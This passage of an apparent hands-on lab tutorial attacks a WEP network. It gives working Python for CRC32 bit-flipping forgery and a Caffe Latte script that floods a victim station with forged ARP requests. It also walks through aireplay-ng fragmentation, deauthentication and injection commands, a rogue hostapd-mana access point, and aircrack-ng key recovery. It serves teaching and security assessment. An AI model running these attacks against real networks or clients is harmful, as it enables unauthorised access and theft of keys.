This keystream belongs to one initialisation vector, so we can only use it to encrypt six bytes in a frame that carries that same vector. It is not the key, and we cannot work the key out from it, so on its own this result is not enough to break WEP. However, an attack can build on it by persuading the access point to return longer and longer stretches of the same keystream. In the Forging Traffic Without the Key task, we will look at that attack.

Correcting the Checksum Without the Key

The designers of WEP were dealing with a noisy radio link, and CRC32 was a reasonable choice of ICV for that problem. It is cheap to compute, and it catches the kind of damage that a noisy link does to a frame in flight. However, CRC32 is linear over XOR, and this property makes it unfit for protecting a frame against changes made on purpose. If we flip some bits in a message, the difference between the old checksum and the new one depends only on which bits were flipped, so it is the same whatever the message happens to contain.

Because of this linearity, we can change both the payload of a frame and its checksum without holding the key. Since the ciphertext is the plaintext combined with the keystream by XOR, flipping a bit of the ciphertext flips the same bit of the plaintext, and we never need to know the keystream to do it. The correction that the flip needs in the CRC32 can be worked out from our own mask, by taking the checksum of the mask and combining it with the checksum of a run of zero bytes of the same length. The stored ICV is encrypted with the same keystream as the payload, so we can apply that correction to the encrypted ICV directly, and the payload and the checksum will still agree when the receiver decrypts them. Forging a frame in this way is known as a bit-flipping attack, and it defeats the integrity check without any attack on the encryption itself.

Write the following to /tmp/wepint/wep-bitflip.py.

#!/usr/bin/env python3
"""CRC32 is linear, so the ICV can be corrected without the key. Show it."""
import struct, sys, zlib

cap = sys.argv[1]
keyhex = sys.argv[2]
key = bytes.fromhex(keyhex)

def rc4(seed, data):
    S = list(range(256)); j = 0
    for i in range(256):
        j = (j + S[i] + seed[i % len(seed)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    out = bytearray(); i = j = 0
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        out.append(b ^ S[(S[i] + S[j]) & 0xFF])
    return bytes(out)

def crc_delta(d):
    """CRC32(p XOR d) XOR CRC32(p), computed from d alone. No plaintext needed."""
    return zlib.crc32(d) ^ zlib.crc32(bytes(len(d)))

f = open(cap, "rb")
assert struct.unpack("<IHHiIII", f.read(24))[6] == 105, "expected linktype 105 (IEEE 802.11)"
frame = None
while frame is None:
    ph = f.read(16)
    if len(ph) < 16:
        break
    cl = struct.unpack("<IIII", ph)[2]
    d = f.read(cl)
    fc = struct.unpack("<H", d[0:2])[0]
    if ((fc >> 2) & 3) == 2 and ((fc >> 14) & 1) and len(d) > 100:
        frame = d

if frame is None:
    sys.exit("no protected data frame longer than 100 bytes in this capture; "
             "collect a little more traffic and try again")

iv, ct = frame[24:27], frame[28:]
ct_body, ct_icv = ct[:-4], ct[-4:]

print("Everything below this line is done WITHOUT the key.")
print("-" * 68)
print("  captured ciphertext body, bytes 40-47 : %s" % ct_body[40:48].hex())
print("  captured encrypted ICV                : %s" % ct_icv.hex())

delta = bytearray(len(ct_body))
delta[40:48] = b"\x00\x00\x00\x00\x00\x00\x00\xff"   # flip 8 bits deep inside the payload
delta = bytes(delta)

forged_body = bytes(a ^ b for a, b in zip(ct_body, delta))
forged_icv = bytes(a ^ b for a, b in zip(ct_icv, struct.pack("<I", crc_delta(delta))))

print("  chosen bit-flip mask at those bytes   : %s" % delta[40:48].hex())
print("  CRC32 correction derived from the mask: %08x" % crc_delta(delta))
print("  forged ciphertext body, bytes 40-47   : %s" % forged_body[40:48].hex())
print("  forged encrypted ICV                  : %s" % forged_icv.hex())
print("-" * 68)
print("Now play the receiver, who does hold the key, and see what it makes of each.")
print()

for label, body, icvc in (("original frame", ct_body, ct_icv),
                          ("forged frame  ", forged_body, forged_icv)):
    plain = rc4(iv + key, body + icvc)
    payload, icv = plain[:-4], plain[-4:]
    calc = zlib.crc32(payload) & 0xFFFFFFFF
    got = struct.unpack("<I", icv)[0]
    print("  %s  plaintext[40:48]=%s  ICV 0x%08x  CRC32 0x%08x  %s"
          % (label, payload[40:48].hex(), got, calc, "ACCEPTED" if calc == got else "REJECTED"))

Then, we can run the script against the same capture, with the recovered key in place of <key>. It does our half of the attack using only the captured bytes. After that, it plays the receiver, who does hold the key, so that we can see whether each frame is accepted.

Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-bitflip.py wep-01.cap <key>
Everything below this line is done WITHOUT the key.
--------------------------------------------------------------------
  captured ciphertext body, bytes 40-47 : cd9e33ff1299c95f
  captured encrypted ICV                : 4db0e903
  chosen bit-flip mask at those bytes   : 00000000000000ff
  CRC32 correction derived from the mask: 781fb104
  forged ciphertext body, bytes 40-47   : cd9e33ff1299c9a0
  forged encrypted ICV                  : 4901f67b
--------------------------------------------------------------------
Now play the receiver, who does hold the key, and see what it makes of each.

  original frame  plaintext[40:48]=00000000c9980900  ICV 0x405cc02b  CRC32 0x405cc02b  ACCEPTED
  forged frame    plaintext[40:48]=00000000c99809ff  ICV 0x3843712f  CRC32 0x3843712f  ACCEPTED

The first half of the above output is our side of the attack, and it uses nothing but the bytes captured from the air and a mask that we chose. The mask flips eight bits deep inside the payload, and the matching correction to the ICV is derived from the mask alone. In the second half, the receiver decrypts both frames with the key and checks each of them. It accepts the original frame, as it should, and it accepts the forged frame as well. In the forged frame, bytes 40 to 47 of the decrypted plaintext end 09ff, where the same bytes of the frame that was actually sent end 0900, so the receiver has accepted a frame that we changed and reported it as intact.

Unlike the attack that we will look at in the Forging Traffic Without the Key task, this forgery did not need a longer stretch of keystream, and the key only came into it when the script played the receiver. Our half of the attack did not decrypt anything, so it flipped byte 47 without reading what the byte held. The new plaintext value of ff that the receiver found there was not chosen to mean anything.

If we know the layout of the payload, we can flip the bits of other fields in the same way, such as the destination address, the port numbers or the protocol fields. Giving one of those fields a value of our own choosing also needs its current value, whether we know it or guess it, because the mask has to be the old value combined with the new one by XOR. In many cases the current value is easy to work out, as with 192.168.1.1, which the first run printed as the destination address of this frame.

The ICV still catches frames that were damaged by accident on the way, as it was designed to. A checksum takes no secret, though, so anybody who changes a frame can recompute it, and the receiver has no way to tell that the change was made on purpose. Any protocol whose check is only a checksum would be open to this attack, even one whose encryption is sound. addressed this by adding a keyed MIC, a value that cannot be recomputed by anybody who does not hold the key.

Answer the questions below
Decrypt your capture with the recovered WEP key. Which IPv4 address does the client on Home-Legacy use?

So far, our attack has depended on the network being busy. Home-Legacy has a client, and the traffic from this client supplies initialisation vectors faster than the attack needs them. When that client goes quiet, we can take one of its requests and send it back with the replay attack from the Capturing Initialisation Vectors task. Both routes still need the network to have produced some traffic of its own that we can reuse.

As we saw in that task, many of the networks we come across on a real assessment are printers or controllers that send very few frames. These devices will never send the tens of thousands of frames that the statistical attack wants. The same is true of an access point with no associated client at all. On networks like these, there is also no captured ARP request to replay, because no station has sent one. In this task, we will break this kind of network by supplying the traffic ourselves.

Keystream Without the Key

As described in the Inside a WEP Frame task, we can recover six bytes of keystream without the key by combining the LLC/SNAP header with the ciphertext. The fragmentation attack can be used to turn these six bytes into a much longer keystream, as long as the access point reassembles fragmented frames. We split a frame into fragments that are each short enough to encrypt with the keystream we already know, and send them to the access point. The access point puts the fragments back together and rebroadcasts the result as one longer encrypted frame. Since we chose the plaintext of that frame ourselves, we can combine the plaintext with the rebroadcast to recover a longer keystream. We can then repeat the exchange with the longer keystream, and each round grows the keystream again until it reaches the full frame length.

The fragmentation attack drawn as a loop. The attacker starts with the six predictable bytes that open the encrypted body of every data frame, sends fragments no longer than the keystream already held, the Home-Legacy access point reassembles them and rebroadcasts the result as one longer encrypted frame, and combining that rebroadcast with the plaintext the attacker chose returns a longer keystream for the next round. Three turns reach 1500 bytes, enough for packetforge-ng to encrypt a complete ARP request without ever holding the key.

The attack needs the access point to accept frames from our radio, and the fake authentication from the Capturing Initialisation Vectors task gives us this. With that association in place, we can run the exchange with aireplay-ng in attack mode -5:

Terminal
user@debian-thm:~$ sudo aireplay-ng -5 -b F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 wlan0mon
Use this packet ? y
Saving chosen packet in replay_src-1019-100126.cap
10:01:26  Data packet found!
10:01:26  Sending fragmented packet
10:01:26  Got RELAYED packet!!
10:01:26  Trying to get 384 bytes of a keystream
10:01:26  Got RELAYED packet!!
10:01:26  Trying to get 1500 bytes of a keystream
10:01:26  Got RELAYED packet!!
Saving keystream in fragment-1019-100126.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

The -5 option selects the fragmentation attack, -b sets the address of the access point and -h sets the address that the fake authentication registered. When the tool offers us a captured frame, we can accept it with y.

Each Got RELAYED packet!! line is the access point reassembling the fragments it was sent and rebroadcasting them. From the above output, we can see that three of these relays bring the recovered keystream up to 1500 bytes. aireplay-ng saves the keystream to a file whose name is built from the time the attack ran, so the fragment-1019-100126.xor name above only belongs to this particular run. In the next command, we should use whichever name aireplay-ng reported on our own run.

Forging a Frame

A keystream of this length is enough for us to encrypt an entire frame of our own choosing. As with the replay attack from the Capturing Initialisation Vectors task, an ARP request is the natural choice, since it reliably provokes an answer. We can build this frame with packetforge-ng:

Terminal
user@debian-thm:~$ sudo packetforge-ng -0 -a F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 -k 255.255.255.255 -l 192.168.1.100 -y fragment-1019-100126.xor -w forge-arp.cap
Wrote packet to: forge-arp.cap

The -0 option builds an ARP request, and the -k and -l options set the destination and source IP addresses that the request asks about. With -y, we set the keystream that encrypts the request, so we did not need the key to build this frame at all. What packetforge-ng writes to forge-arp.cap is still a valid WEP frame, and the access point will accept it and act on it.

Injecting What Was Forged

First, we should leave a capture running against the same BSSID in another terminal, just as we did in the Capturing Initialisation Vectors task:

Terminal
user@debian-thm:~$ sudo airodump-ng -c 3 --bssid F0:9F:C2:71:22:11 -w frag2 wlan0mon

Then, with that capture still running in its own terminal, we can replay our forged frame:

Terminal
user@debian-thm:~$ sudo aireplay-ng -2 -F -r forge-arp.cap -x 800 wlan0mon
Sent 70438 packets...(799 pps)

In the above command, -2 selects the interactive replay attack. The -r forge-arp.cap option makes it read the frame from our forged file instead of picking one off the air. With -F, it accepts the first matching frame without prompting us, and -x 800 caps the rate at 800 frames a second. From the above output, we can see that aireplay-ng sent 70438 packets at 799 a second, which is just under that cap.

The access point keeps up with this rate and answers every forged request. Each reply is a new frame with a new initialisation vector, so the counter in our capture climbs as though the network were busy.

The initialisation vectors in our capture are ordinary ones, and aircrack-ng has no way to tell that the traffic behind them was generated by us. Next, we can recover the key in the same way as we did in the Recovering the WEP Key task:

Terminal
user@debian-thm:~$ sudo aircrack-ng -b F0:9F:C2:71:22:11 frag2-01.cap
                          KEY FOUND! [ <key> ]
	Decrypted correctly: 100%

From the above output, we can see that aircrack-ng found the key. The Decrypted correctly: 100% line shows that this key decrypts the frames in our capture.

The Slower Relative

The KoreK chopchop attack can also be used to get to the same result. It recovers the plaintext of a frame one byte at a time. For each byte, it truncates a captured frame and tries a series of guesses, watching which one the access point accepts. We can run it with aireplay-ng -4, and it does work against this network, but it has to send a burst of frames for every byte it recovers.

In one minute, chopchop gets through only the first few percent of a single frame, while the fragmentation attack recovers 1500 bytes of keystream in seconds. We should try the fragmentation attack first, and we can keep chopchop for access points that do not reassemble fragments.

Answer the questions below
Which aireplay-ng attack mode runs the fragmentation attack?
How many bytes of keystream does the fragmentation attack recover here?

A station that has joined a network keeps a profile for it. This profile holds the network name and the static key together. The station treats anything advertising that name as the network it already knows, since WEP has no server-side component to check an access point against. It joins such an access point with open system authentication and starts encrypting with the key it remembers. The same exchange let our fake authentication succeed in the Capturing Initialisation Vectors task, where the access point accepted us without asking for the key. It works the same way in the other direction, so the station never asks the access point to prove that it holds the key either.

We can use this to take the key from a client that has used the network, without needing the network itself. If all we know is the name of a WEP network, we can stand up our own access point carrying that name. We then wait for a station to arrive, which we could do a long way from the real access point.

When the station joins the rogue access point, it still has the key stored in its profile. It never transmits the key, but every frame it sends is encrypted under that key and carries an . Those vectors are exactly what the statistical attack consumes. Taking the key from a client in this way is known as the Caffe Latte attack. The name comes from the observation that a laptop opened in a coffee shop is still carrying the keys of every network it has ever used.

The attack recovers the key itself, the same value that the real access point holds, so the key we end up with will decrypt the network's traffic and be accepted by the network. We never contact or associate with the real network, and it contributes no frames to the capture. At the end of this task, we will recover the key from a capture file that holds traffic from only one station and one rogue access point.

A station and a rogue access point carrying the same network name, Home-Legacy, exchange a forged ARP request and its reply on channel 11, each reply adding a fresh initialisation vector, while the real Home-Legacy access point on channel 3 contributes none of the 706,898 frames in the capture, and 284,989 initialisation vectors recover the key the real access point holds without a single frame from it

Standing Up the Rogue Access Point

The attack needs one radio in access point mode and a second radio to deauthenticate, inject and capture. We will use wlan4 and wlan5 for this task, and leave wlan0mon and wlan1 untouched. First, we can put wlan5 into monitor mode on channel 3, which is the channel the real Home-Legacy access point uses. We can also make a directory for the files that the attack produces.

Terminal
user@debian-thm:~$ sudo ip link set wlan5 down && sudo iw dev wlan5 set type monitor && sudo ip link set wlan5 up
user@debian-thm:~$ sudo iw dev wlan5 set channel 3
user@debian-thm:~$ mkdir -p /tmp/cafelatte

We will run the rogue on channel 11, deliberately far from the real network. The capture that we take at the end of the task is also on channel 11, so it cannot hold a frame transmitted by an access point on channel 3. We can write the following configuration to /tmp/cafelatte/rogue.conf.

interface=wlan4
driver=nl80211
ssid=Home-Legacy
hw_mode=g
channel=11
auth_algs=1
wep_default_key=0
wep_key0=0123456789
ap_max_inactivity=600

The value on the wep_key0 line is a placeholder, since the attack assumes we know nothing but the network name. This placeholder will not match the key in the station's profile. The station still associates with the rogue, because auth_algs=1 selects open system authentication. Once it has joined, the two sides are encrypting under different keys and the rogue cannot read anything the station sends. This does not get in the way of the attack, because all we are collecting are the frames and the initialisation vectors they carry.

The last line, ap_max_inactivity=600, stops the access point from dropping a station that spends several minutes doing nothing but answer ARP.

Start the access point in its own terminal.

Terminal
user@debian-thm:~$ sudo ip link set wlan4 down && sudo iw dev wlan4 set type managed && sudo ip link set wlan4 up
user@debian-thm:~$ sudo hostapd-mana /tmp/cafelatte/rogue.conf
Using interface wlan4 with hwaddr 02:00:00:00:04:00 and ssid "Home-Legacy"
wlan4: AP-ENABLED

From the first line of the above output, we can see that the rogue's own BSSID is 02:00:00:00:04:00. This is the hardware address of the radio itself, and we will filter on it in several of the commands that follow.

Lab note: Leave hostapd-mana running in this terminal for the rest of the task and work from a second one, with a third for the capture that starts shortly. NetworkManager will reclaim an idle radio from underneath the attack, so the airmon-ng check kill from the opening task has to still be in effect before any of this runs.

Moving the Client Across

A station that is associated and working normally has no reason to go looking for another access point, so we have to push it. The station we want is 64:32:A8:56:32:56, the same one whose traffic gave us the initialisation vectors in the Capturing Initialisation Vectors task. When it scans again, it will find two access points called Home-Legacy, and there is nothing in either beacon that would let it tell them apart.

First, we can send a burst of deauthentication frames spoofed from the real access point's address, which tears down the station's association and sends it back to scanning.

Terminal
user@debian-thm:~$ sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:11 -c 64:32:A8:56:32:56 wlan5

One burst is usually not enough. A station knocked off a network frequently returns to the access point it was just using, so repeat the command until the terminal running hostapd-mana reports the station arriving.

Terminal
wlan4: STA 64:32:a8:56:32:56 IEEE 802.11: authenticated
wlan4: STA 64:32:a8:56:32:56 IEEE 802.11: associated (aid 1)
wlan4: AP-STA-CONNECTED 64:32:a8:56:32:56

AP-STA-CONNECTED is the line we are waiting for. Above it, the authenticated and associated lines show the open system exchange completing. The station is now associated with our access point and treats it as the network it was using before. Our access point does not hold the station's key and has no connection to the real network. Even so, the station carries on encrypting every frame it sends under the key it already had.

Why the Built-In Replay Produces Nothing

Our capture has to follow the station to channel 11. We can move the monitor interface there and start a capture that is filtered to the rogue's BSSID.

Terminal
user@debian-thm:~$ sudo iw dev wlan5 set channel 11
user@debian-thm:~$ sudo airodump-ng -c 11 --bssid 02:00:00:00:04:00 -w /tmp/cafelatte/cl wlan5

aireplay-ng has a dedicated mode for this attack, -6, so it is the obvious thing to reach for first. We can run it from the second terminal, giving it the rogue's BSSID and the station's address.

Terminal
user@debian-thm:~$ sudo aireplay-ng -6 -b 02:00:00:00:04:00 -h 64:32:A8:56:32:56 wlan5
The interface MAC (02:00:00:00:05:00) doesn't match the specified MAC (-h).
	ifconfig wlan5 hw ether 64:32:A8:56:32:56
05:41:42  Waiting for beacon frame (BSSID: 02:00:00:00:04:00) on channel 11
Saving ARP requests in replay_arp-0920-054142.cap
You should also start airodump-ng to capture replies.
Read 18136 packets (3 ARPs, 0 ACKs), sent 14615 packets...(500 pps)

The warning about the interface MAC is expected, and the ifconfig command it suggests must not be run. We set -h to the victim's address on purpose, since we want the frames we send to appear to come from the victim. All aireplay-ng can see is that this address does not match the address of our radio. Running the suggested command would put the victim's address on the monitor radio. The Caffe Latte script that we use later in this task would then stop recognising the victim's own replies and produce nothing at all.

Apart from that warning, nothing in the output points to a failure. The tool found ARP requests to work from, it is sending at five hundred frames a second, and it looks much as the ARP request replay looked in the Capturing Initialisation Vectors task. We can check whether the replay is working by running aircrack-ng over the capture without naming a target, since it then lists the networks it found with a count beside each one.

Terminal
user@debian-thm:~$ sudo aircrack-ng /tmp/cafelatte/cl-01.cap
   1  02:00:00:00:04:00  Home-Legacy               WEP (4 IVs)
Choosing first network as target.

With only one network in the file, there is nothing to choose between, so aircrack-ng selects it and starts attacking straight away. The count beside the network, WEP (4 IVs), scrolls off the screen once the attack display takes over, but it shows that a capture holding tens of thousands of frames has produced only a handful of initialisation vectors. Waiting will not make it climb, because the station is not replying at all, so we can stop the attack with Ctrl+C.

Since we already have the key from the Recovering the WEP Key task, we can decrypt this capture and read the station's ARP request alongside the copies that aireplay-ng has been replaying.

    1   0.000000 IntelCor_56:32:56 -> Broadcast  ARP 42 Who has 192.168.1.1? Tell 192.168.1.54
    3  10.946221 02:00:00:00:04:00 -> Broadcast  ARP 42 Who has 192.168.1.1? Tell 192.168.1.54
    5  11.940370 02:00:00:00:04:00 -> Broadcast  ARP 42 Who has 192.168.1.1? Tell 192.168.1.54

The first frame is the station's own request. Below it are two copies that aireplay-ng replayed byte for byte, so all three ask who has 192.168.1.1. For the -6 replay to work, the station must at some point have announced its own address in a gratuitous ARP. A copy of that frame would be a question the station has to answer. This station holds a long-lived lease and only ever asks after its gateway, so there is no such frame for the tool to copy. Every frame aireplay-ng reported as sent really was sent, but each one asked about 192.168.1.1. The station does not answer for that address, so it correctly said nothing.

With any injection tool, we should judge a run by how the target responds. A send rate in the hundreds with a flat initialisation vector count means nothing is coming back. We can stop this capture now, since the Caffe Latte attack will use a new, clean capture.

Flipping the Request

For the station to answer, we need the same request to ask about the station's own address. The attack has to work without the key, so the change must be made while the frame is still encrypted. WEP allows this because of the way it checks the integrity of each frame. Since the weakness is in that check, the strength of the cipher makes no difference to this attack.

We can make the change with the bit-flipping attack described in the Inside a WEP Frame task. It flips the bits that we choose in the ciphertext, then corrects the encrypted ICV to match them, and it does not need the key for either step.

An ARP request carries its sender and target addresses at fixed offsets, so we already know which bytes have to change. The only real unknown is the value to write into the last byte of the target address. Of the 256 possible values, just one makes the request ask about the station's own address. The cheapest way to find it is to try all 256 and watch which one draws a reply from the station. We can write the following script to /tmp/cafelatte/latte.py.

#!/usr/bin/env python3
"""
Caffe Latte: recover a WEP key from a CLIENT.

We never learn the key. We take one encrypted ARP request the victim emitted,
bit-flip the ciphertext so the request now asks for the victim's OWN address,
repair the encrypted CRC (CRC32 is linear, so a known plaintext delta maps to a
known ICV delta), and send it back. The victim answers every copy with a fresh
IV. Harvest enough IVs and PTW recovers the key.

Unknown plaintext: the two IP addresses. We brute the last byte of the target
IP over all 256 values - one of them is the victim's own address.
Known plaintext: LLC/SNAP, the ARP fixed fields, the all-zero target MAC, and
the ARP sender MAC (it must equal the 802.11 source address, which is in clear).
"""
import socket, struct, sys, time, zlib, threading

IFACE  = "wlan5"
BSSID  = bytes.fromhex("020000000400")   # our rogue AP
CLIENT = bytes.fromhex("6432a8563256")   # the victim
FAKESA = bytes.fromhex("001122334455")   # the host we pretend is asking
RTAP   = b"\x00\x00\x08\x00\x00\x00\x00\x00"   # minimal radiotap

PLEN   = 36          # LLC/SNAP(8) + ARP(28)
ZERO   = zlib.crc32(b"\x00" * PLEN) & 0xffffffff


def crc_delta(mask: bytes) -> int:
    """CRC32 is affine, so crc(P^M) ^ crc(P) = crc(M) ^ crc(0) for fixed len."""
    return (zlib.crc32(mask) ^ ZERO) & 0xffffffff


def is_victim_arp(b: bytes) -> bool:
    return (len(b) == 68                      # 24 hdr + 4 iv + 36 body + 4 icv
            and (b[0] & 0x0c) == 0x08         # type data
            and (b[1] & 0x03) == 0x01         # ToDS only
            and (b[1] & 0x40)                 # protected
            and b[4:10] == BSSID              # addr1 = bssid
            and b[10:16] == CLIENT            # addr2 = victim
            and b[16:22] == b"\xff" * 6)      # addr3 = broadcast


def grab_seed(sock, deadline):
    """Wait for one encrypted ARP request from the victim."""
    while time.time() < deadline:
        raw = sock.recv(4096)
        if len(raw) < 8:
            continue
        rtlen = struct.unpack_from("<H", raw, 2)[0]
        f = raw[rtlen:]
        if is_victim_arp(f):
            return f
    return None


def build(seed, d, seq):
    """One flipped copy: target-IP last byte XOR d, sender rewritten to FAKESA."""
    iv, ct, icv = seed[24:28], seed[28:64], seed[64:68]

    mask = bytearray(PLEN)
    for i in range(6):                     # ARP sender MAC -> FAKESA
        mask[16 + i] = CLIENT[i] ^ FAKESA[i]
    mask[25] = 0x80                        # sender IP: just make it != victim's
    mask[35] = d                           # target IP: the byte we are guessing

    body = bytes(a ^ b for a, b in zip(ct, mask))
    dl = crc_delta(bytes(mask))
    newicv = bytes(a ^ b for a, b in zip(icv, struct.pack("<I", dl)))

    hdr = bytearray(24)
    hdr[0] = 0x08                          # data
    hdr[1] = 0x42                          # FromDS + Protected
    hdr[4:10] = CLIENT                     # addr1 = DA  = victim
    hdr[10:16] = BSSID                     # addr2 = BSSID
    hdr[16:22] = FAKESA                    # addr3 = SA
    struct.pack_into("<H", hdr, 22, (seq & 0xfff) << 4)
    return RTAP + bytes(hdr) + iv + body + newicv


def main():
    mode = sys.argv[1] if len(sys.argv) > 1 else "hunt"
    secs = int(sys.argv[2]) if len(sys.argv) > 2 else 60

    rx = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
    rx.bind((IFACE, 0))
    rx.settimeout(5)
    tx = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    tx.bind((IFACE, 0))

    print("[*] waiting for an encrypted ARP request from the victim ...")
    seed = grab_seed(rx, time.time() + 180)
    if not seed:
        print("[!] no seed packet captured"); return 1
    print("[+] seed captured, IV %s" % seed[24:27].hex())

    if mode == "hunt":
        # Which last byte makes the victim answer? Send each guess in a burst
        # and count victim transmissions while it is in flight.
        counts = {}
        for d in range(256):
            rx.settimeout(0.001)
            while True:                                  # drain
                try: rx.recv(4096)
                except Exception: break
            for n in range(12):
                tx.send(build(seed, d, n))
            got = 0
            rx.settimeout(0.25)
            t_end = time.time() + 0.25
            while time.time() < t_end:
                try: raw = rx.recv(4096)
                except Exception: break
                rtlen = struct.unpack_from("<H", raw, 2)[0]
                f = raw[rtlen:]
                if len(f) > 24 and f[10:16] == CLIENT and (f[0] & 0x0c) == 0x08:
                    got += 1
            if got:
                counts[d] = got
                print("[+] delta 0x%02x -> %d victim frames" % (d, got))
        if not counts:
            print("[!] no delta produced a reply"); return 1
        best = max(counts, key=counts.get)
        print("[*] best delta = 0x%02x" % best)
        open("/tmp/cafelatte/delta", "w").write(str(best))
        return 0

    # harvest
    best = int(open("/tmp/cafelatte/delta").read().strip())
    print("[*] harvesting with delta 0x%02x for %ds" % (best, secs))
    pre = [build(seed, best, n) for n in range(4096)]
    end, sent, i = time.time() + secs, 0, 0
    while time.time() < end:
        tx.send(pre[i & 0xfff]); i += 1; sent += 1
        if sent % 2000 == 0:
            time.sleep(0.001)
    print("[+] sent %d flipped frames" % sent)
    return 0


sys.exit(main())

The script runs in two modes. hunt captures one encrypted ARP request from the station, sends twelve copies of it at each of the 256 candidate values in turn, and counts how many frames the station transmits while each burst is in flight. harvest takes the winning value and sends that one flipped frame as fast as the radio allows for a given number of seconds. Both rewrite the sender address in the request to 00:11:22:33:44:55 as well, so the station believes some other host is asking and replies to that host rather than to itself.

First, we can start a clean capture in the third terminal.

Terminal
user@debian-thm:~$ sudo airodump-ng -c 11 --bssid 02:00:00:00:04:00 -w /tmp/cafelatte/latte wlan5

Then, we can run the script in hunt mode.

Terminal
user@debian-thm:~$ sudo python3 -I /tmp/cafelatte/latte.py hunt
[*] waiting for an encrypted ARP request from the victim ...
[+] seed captured, IV 6d8601
[+] delta 0x03 -> 1 victim frames
[+] delta 0x33 -> 1 victim frames
[+] delta 0x37 -> 12 victim frames
[+] delta 0x8d -> 1 victim frames
[*] best delta = 0x37

From the above output, we can see that one value, 0x37, drew far more victim frames than any of the others. The original request asks after the gateway, whose last byte is 0x01, and a delta of 0x37 turns that byte into 0x36, which is 54 in decimal. The flipped request therefore asks about 192.168.1.54, the address that the station answers for.

The values that scored only a frame or two picked up the station's own background traffic, which happened to arrive while their burst was in flight. Since frames like these can turn up during any burst, the script goes by the count and picks the value with the most victim frames. Our own list will not match the one above, because the station's background frames land in different quarter-second windows on each run. One delta should still stand out with a count in double figures.

Recovering the Key From the Client

Now that we have a value that provokes an answer, we only need to keep sending it for long enough. Then, we can run the script in harvest mode for three hundred seconds, which is enough to put around a quarter of a million initialisation vectors into the capture.

Terminal
user@debian-thm:~$ sudo python3 -I /tmp/cafelatte/latte.py harvest 300
[*] waiting for an encrypted ARP request from the victim ...
[+] seed captured, IV 6d863a
[*] harvesting with delta 0x37 for 300s
[+] sent 1239285 flipped frames

The script sent over a million copies of the same forged request in those three hundred seconds. Each copy appears to come from another host asking for the station's address, so the station has no way of telling them apart from the requests on an ordinary busy network. A fraction of them drew an answer, and each answer was a new frame encrypted under the key the station remembers, with a fresh initialisation vector that went into the capture.

Next, we can point aircrack-ng at the file and restrict it to the rogue's BSSID.

Terminal
user@debian-thm:~$ sudo aircrack-ng -b 02:00:00:00:04:00 /tmp/cafelatte/latte-01.cap
Reading packets, please wait...
Opening /tmp/cafelatte/latte-01.cap
Read 706898 packets.
1 potential targets
Attack will be restarted every 5000 captured ivs.
Got 284989 out of 280000 IVs   Starting PTW attack with 284989 ivs.
                         KEY FOUND! [ <key> ]
	Decrypted correctly: 100%

The key that aircrack-ng prints is the same one that the capture in the Recovering the WEP Key task produced. The same statistical attack recovered it in both cases. We could test to see if the real access point contributed any frames to this capture by reading it with tshark.

Terminal
user@debian-thm:~$ tshark -r /tmp/cafelatte/latte-01.cap -T fields -e wlan.bssid | sort | uniq -c
 706898 02:00:00:00:04:00
user@debian-thm:~$ tshark -r /tmp/cafelatte/latte-01.cap -Y "wlan.addr==f0:9f:c2:71:22:11" | wc -l
0

The first command shows that all 706,898 frames in the file carry the rogue's , and the second finds no frame to or from the real access point's address. The real access point stayed on channel 3 throughout, and our monitor interface did not leave channel 11 once the station had moved across. Our rogue ran with wep_key0=0123456789 the whole time, so neither the rogue nor the script held the real key at any point before aircrack-ng printed it.

Finally, we can stop hostapd-mana and the capture, and return both radios to managed mode.

Terminal
user@debian-thm:~$ for i in wlan4 wlan5; do sudo ip link set $i down; sudo iw dev $i set type managed; sudo ip link set $i up; done

A WEP network is compromised as soon as one station that has joined it leaves the building. Every laptop, handset and scanner that has used the network keeps the key in its profile, and turning the access point off does not take the key back from any of them. Each of these devices will use the key with any access point that advertises the network's name.

In the earlier tasks, we looked at what the network itself will allow, and in this task, we looked at what a station that has used the network will accept from an access point. The Attacking Wi-Fi Clients room builds on this.

Answer the questions below
Which line does hostapd-mana log when the victim station associates with the rogue access point?

Now that we hold the key, we can join the network ourselves. We can follow the same procedure that we used to connect to Home-2G in the Attacking Open and WPA2-PSK Networks room. The only part of it that changes this time is the configuration file.

The wpa_passphrase helper that we used there is no help to us here. It exists to run the PBKDF2 derivation, which turns a passphrase and the SSID into a pre-shared key. WEP does not derive anything and uses its key exactly as it is configured, so we have to write the file by hand. We can write the following to homelegacy.conf, substituting the ten hexadecimal characters recovered in the previous task, without the colons that aircrack-ng printed:

network={
    ssid="Home-Legacy"
    key_mgmt=NONE
    wep_key0=<key>
    wep_tx_keyidx=0
}

The key_mgmt=NONE line tells the supplicant that there is no key management to do. In the WPA2 profile that we wrote in the Attacking Open and WPA2-PSK Networks room, key management was the job of the four-way handshake. Before any data could flow, that handshake authenticated both parties and derived fresh per-session keys. On a WEP network, the supplicant has nothing to negotiate or manage, so it installs the static key into the radio and starts using the key straight away.

We can check the wep_key0 line once the key is pasted in. It should hold exactly ten hexadecimal characters, with none of the colons that aircrack-ng printed and no other separators. The last line, wep_tx_keyidx=0, selects key 0 as the one to encrypt with, and this is the same key index that we read out of the capture in the Inside a WEP Frame task. The standard allows up to four keys so that they can be rotated, but in practice the extra keys are almost never used.

Bring up the connection on the managed radio and confirm the association.

Terminal
user@debian-thm:~$ sudo wpa_supplicant -B -i wlan1 -c homelegacy.conf
Successfully initialized wpa_supplicant
user@debian-thm:~$ sudo iw dev wlan1 link
Connected to f0:9f:c2:71:22:11 (on wlan1)
	SSID: Home-Legacy
	freq: 2422
	RX: 1301 bytes (26 packets)
	TX: 340 bytes (4 packets)
	signal: -30 dBm
	tx bitrate: 1.0 MBit/s

	bss flags:	short-slot-time
	dtim period:	2
	beacon int:	100

This confirmation tells us less than the same output would on a WPA2 network. Open system authentication does not verify anything, and no handshake follows it to catch a mistake, so on a network the association succeeds whether or not our key is correct. With a wrong key, the link would silently fail to move any data. We will only find out whether the key is right when we request an address over DHCP in the next step, and if that request never gets an answer, the key in homelegacy.conf is the first thing we should check.

Next, we can request an address on wlan1 with dhclient.

Terminal
user@debian-thm:~$ sudo dhclient -v wlan1
...
DHCPDISCOVER on wlan1 to 255.255.255.255 port 67 interval 5
